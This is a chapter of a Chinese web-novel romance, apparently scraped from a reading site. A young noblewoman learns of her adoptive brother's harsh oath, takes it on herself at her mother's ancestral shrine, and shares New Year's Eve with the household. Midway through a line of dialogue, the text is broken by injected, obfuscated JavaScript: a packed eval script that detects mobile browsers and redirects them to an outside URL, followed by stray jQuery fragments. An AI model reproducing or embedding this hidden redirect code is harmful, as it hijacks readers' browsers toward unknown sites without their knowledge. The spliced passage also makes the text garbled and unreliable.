123读书网 > 玄幻小说 > 兄长,你马甲掉了 > 36. 你愿再相信我一次吗

36. 你愿再相信我一次吗

    裴承蔺躲过了凌珩搭过来的手,没想到沈青言会这般说,他看着她,却一时有些不知如何是好。


    沈青言往日对这些金银之物向来无甚在意,可看到一袋银子便够一户穷苦人家过好久,也懂得钱要用在正处。


    沈青言看着凌珩:“把钱给我,还给我。”


    凌珩躲闪着:“不给,这是我的好友给我的,凭什么给你啊。”说着仗着自己长得高,便将荷包举起,逗着沈青言。


    沈青言从未见过如此风度全无之人:“你。”


    随即凌珩还未得瑟几下,却手腕一疼:“疼。”


    裴承蔺寒着脸,面色不悦。


    凌珩这时却看到前面熟悉的身影,赶忙往后跑去:“知己,我今日还有事,我们下次再聊。”


    沈青言看到凌珩一眨眼便跑没影了,还知己,好友,明明就是个骗子,随后直直地盯着裴承蔺:


    “按理说,我不该置喙你如何处置你的银钱,但念在我们也算是同僚的份上,你若是再这般单纯,人家随意说两句就给钱,当心你被人卖了,还帮着数钱呢。”


    说完,沈青言气鼓鼓地走了。


    裴承蔺又是一阵无措,赶忙追了上去。


    沈青言也不知她生哪门子气,见箫非还跟在身后:“怎么被骗光了钱,家都回不了了,和你夫人过年不好交代,来找我借钱,我告诉你,不借!”


    裴承蔺一听到,夫人,慌忙地拉住沈青言,解释道:“我没有夫人。”


    沈青言只觉他莫非是块朽木疙瘩,她同他说了那么多,他在这旁顾而言他,说他没夫人。


    沈青言道:“放开。”


    裴承蔺意识到自己逾矩,赶忙放开了她的手。


    沈青言看着他:“你知错了吗?”


    裴承蔺赶忙点了下头。


    做捕快的十有八九是穷苦出身,刀尖上舔血,危险不说,那点俸禄也十分微薄。


    沈青言拿出了自己的荷包:“给,没有夫人,更应攒些聘礼,不要再被人骗了,我走了,来年再会。”


    裴承蔺看着手中沈青言递给他的荷包,聘礼,一股说不上来之感在心中升起。


    回了将军府内


    陈嬷嬷和燕儿已经忙得脚不沾地,陈嬷嬷拿来一堆礼单:“这些礼单,请小姐过目。”


    沈青言心中正想着崔微与之事:“嬷嬷,放下吧。”


    她想了许久,还是想不通,索性看起陈嬷嬷送来的礼单。


    每年这时候,迎来送往必不可少,送往宫中及朝中大臣的礼品都挑不出什么错处


    直到沈青言看到最下面的礼单:“真是好大的胃口。”随即拿出来道:“嬷嬷,这份不用送了。”


    陈嬷嬷道:“可……”


    沈青言断然坚持道:“就按我说的做。”


    转眼便是除夕,今日事情颇多,沈青言起了个大早。


    来了祠堂后,擦拭牌位、摆放贡品,她都亲力亲为,一切安排妥当后


    眼看就是正午了,却迟迟不见裴承蔺:“公子呢?”


    燕儿诧异道:“您不是不许公子来祠堂祭奠夫人吗。”


    沈青言又忘了这一茬,不禁想起往事


    当年她听信那些人的谣言后,她便挡在祠堂门口,对沈拓道:“我不许裴承蔺这个不知从哪来的野种进祠堂,打扰娘的在天之灵。


    沈拓大怒,扬起的手终是又放了下来:“你说什么,快和承蔺赔个不是。”


    裴承蔺还未说话。


    她却不依不饶道,看着裴承蔺:“绝不可能。”


    沈拓道:“好,看来我真是惯坏你了,你就在这祠堂,在你娘的牌位前好好反省,没有我的允许,不许放她出来。”


    她就在祠堂内抱着娘的牌位,不吃不喝待了三天。


    等再醒来时,才知裴承蔺立下誓言,此生绝不靠近祠堂一步。


    沈青言想着往事,既心疼他又怨恨自己。


    赶忙就向听雨轩而去。


    裴承蔺还在调查血莲印,看着线人搜集回的线索,又想到今日的日子:“大将军有下落了吗?”


    玄初道:“我们的人还在找,目前并未发现什么。”


    裴承蔺又随口道:“小姐在做什么?”


    景程却不悦回话道:“这个时辰定是在祠堂,每年这个时候她定要挑事,这年都过不好。”


    玄初赶忙制止道:“别多嘴了。”


    景程却想着那年沈青言的作为,她做的事,自己家公子反而为了那口出恶言的她,跪在了大将军面前,求大将军放那大小姐出来,还立了毒誓,喃喃自语道:“实话都不许人说了吗。”


    裴承蔺耳聪目明,景程的话他听得清清楚楚,对他道:“你出去看看信鸽回来了吗?”


    景程道:“是。”


    景程刚出门,便见沈青言进了院内,这个时辰来此,她要做什么?


    沈青言问着景程:“公子呢?”


    景程赶忙扯谎:“公子今日,有事不在府内。”


    沈青言看着景程,见他一副心虚的样子,便要绕过他往房内进:“我找他有些急事,时候要来不及了。”


    景程想到裴承蔺发的那个毒誓:“时候来不及了?你要带他去祠堂吗,你是想要公子的毒誓应验,咒公子死吗!”


    “景程,休得无礼。”裴承蔺听着二人的争吵声,出了门。


    沈青言却想什么毒誓?当年裴承蔺不就是发誓,不再靠近祠堂吗。


    景程也下定了决心:“今日我就是死,公子你也别想出听雨轩一步。”


    沈青言看着裴承蔺:“你当年发的什么誓。”


    裴承蔺却沉默片刻:“小姐请回吧,有什么事明日再说。”


    眼看他不肯说,沈青言看向燕儿:“燕儿,你知道吗?你说!”


    裴承蔺发誓时,燕儿此时正好也在。


    燕儿道:“回小姐,公子当年发誓,此生不会再靠近祠堂,除夕那天若无特殊事,不会出听雨轩一步,除夕本就是团圆之日,却因他致使大将军和小姐父女离心,若有违此誓天打雷劈,挫骨扬灰,永不轮回。”


    沈青言听着这狠毒的誓言,久久未能平复。自此之后,他从未同她一起吃过年夜饭


    原以为,是因为他怕自己,知道她的厉害了,所以不同她一起吃,原来是因为立了毒誓


    每年除夕在最该团圆之日,他都会想到她那恶毒的话,看着别人团圆而他孤身一人度过。


    裴承蔺看着沈青言掉了眼泪:“小姐,今日是个好日子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17211455|197417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,别哭了。事在人为,若几句誓言真的能作数,那天下岂无负心人了。”


    沈青言对裴承蔺道:“你愿随我去一个地方吗。”


    玄初也劝道:“小姐,您今日就不要难为公子了。”


    沈青言拉过裴承蔺的衣袖:“你愿再信我一次吗。”


    裴承蔺看着沈青言泪光闪闪的眼睛,只看一眼他便像是被吸进去一般:“好。”


    景程拦在门边:“公子。”。


    裴承蔺一个眼神,他便不得不让开。


    沈青言拉着裴承蔺出了听雨轩,走进了祠堂。


    景程一路跟着:“她,她到底要做什么,发的毒誓全都做了,她就是想……老天莫怪,莫怪!”


    玄初却看着两人的背影,愣是看出了小姐带着公子,不顾众人的反对,去私奔的感觉。


    沈青言看着祠堂的牌位,反而转过身,跪下:


    “苍天明鉴,裴承蔺今日违誓,那日立誓,皆是因我沈青言受人蒙蔽之故,非他之因,如今我诚心悔改,若老天惩罚,天打雷劈,挫骨扬灰,不入轮回,皆由我沈青言代他所受。”


    说着便叩了三叩。


    听完这番话,所有人都愣住了。


    景程也说不出一句话来。


    裴承蔺听着沈青言那番话,即使是虚无缥缈的誓言,他也不愿她有任何危险;“你为何,我裴承蔺发……”


    沈青言却拉过他,打断了他的话:“这是我娘,她是个很好之人,若是还在的话,也会很喜欢你。”


    裴承蔺看着沈青言上香,也同她一般为沈夫人的牌位上了一炷香。


    沈青言跪了下去:“娘,这是我的兄长裴承蔺,他今日同我来见见你,他对我很好,您可以放心,女儿过得很好。爹他今年有事,赶不回来,就不来看你了。”


    裴承蔺也跪了下去:“今日我裴承蔺在夫人面前立誓,定会尽我所能,护她一生无忧。”


    玄初在身后看着二人的背影,满意地点了点头,这和拜过高堂了有什么区别。


    转眼便到了晚上,将军府内灯火通明,外面的爆竹声不绝于耳,天空中此起彼伏的烟火,照得天空不见黑暗。


    处处都洋溢着过年的欢乐。


    一桌子饭只有沈青言和裴承蔺两人在吃。


    沈青言道:“嬷嬷,燕儿,玄初,景程。你们都坐下一起吃吧!”


    陈嬷嬷道:“小姐,这不合规矩。”


    沈青言站起身,拉过陈嬷嬷坐下:“有什么不合规矩的。”又看了眼燕儿。


    燕儿才不情不愿地坐了下来。


    沈青言看着裴承蔺:“让他们坐下吧。”


    裴承蔺道:“都坐吧。”


    沈青言端起酒:“来大家喝一杯。”她又提议行酒令,玩着玩着,大家也无那般拘谨。


    饭吃完后,景程已经喝得醉醺醺,要不是玄初扶着,早就去地上乱爬了。


    玄初道:“别走,我有这句,月上柳……”


    裴承蔺吩咐道:“扶他回去吧。”


    玄初道:“是,公子”


    沈青言并未喝多少,吩咐燕儿和陈嬷嬷早些回去歇息后,便要去守岁。


    她往年并不是很喜欢守岁,困得狠了还不能睡觉,可今年不同。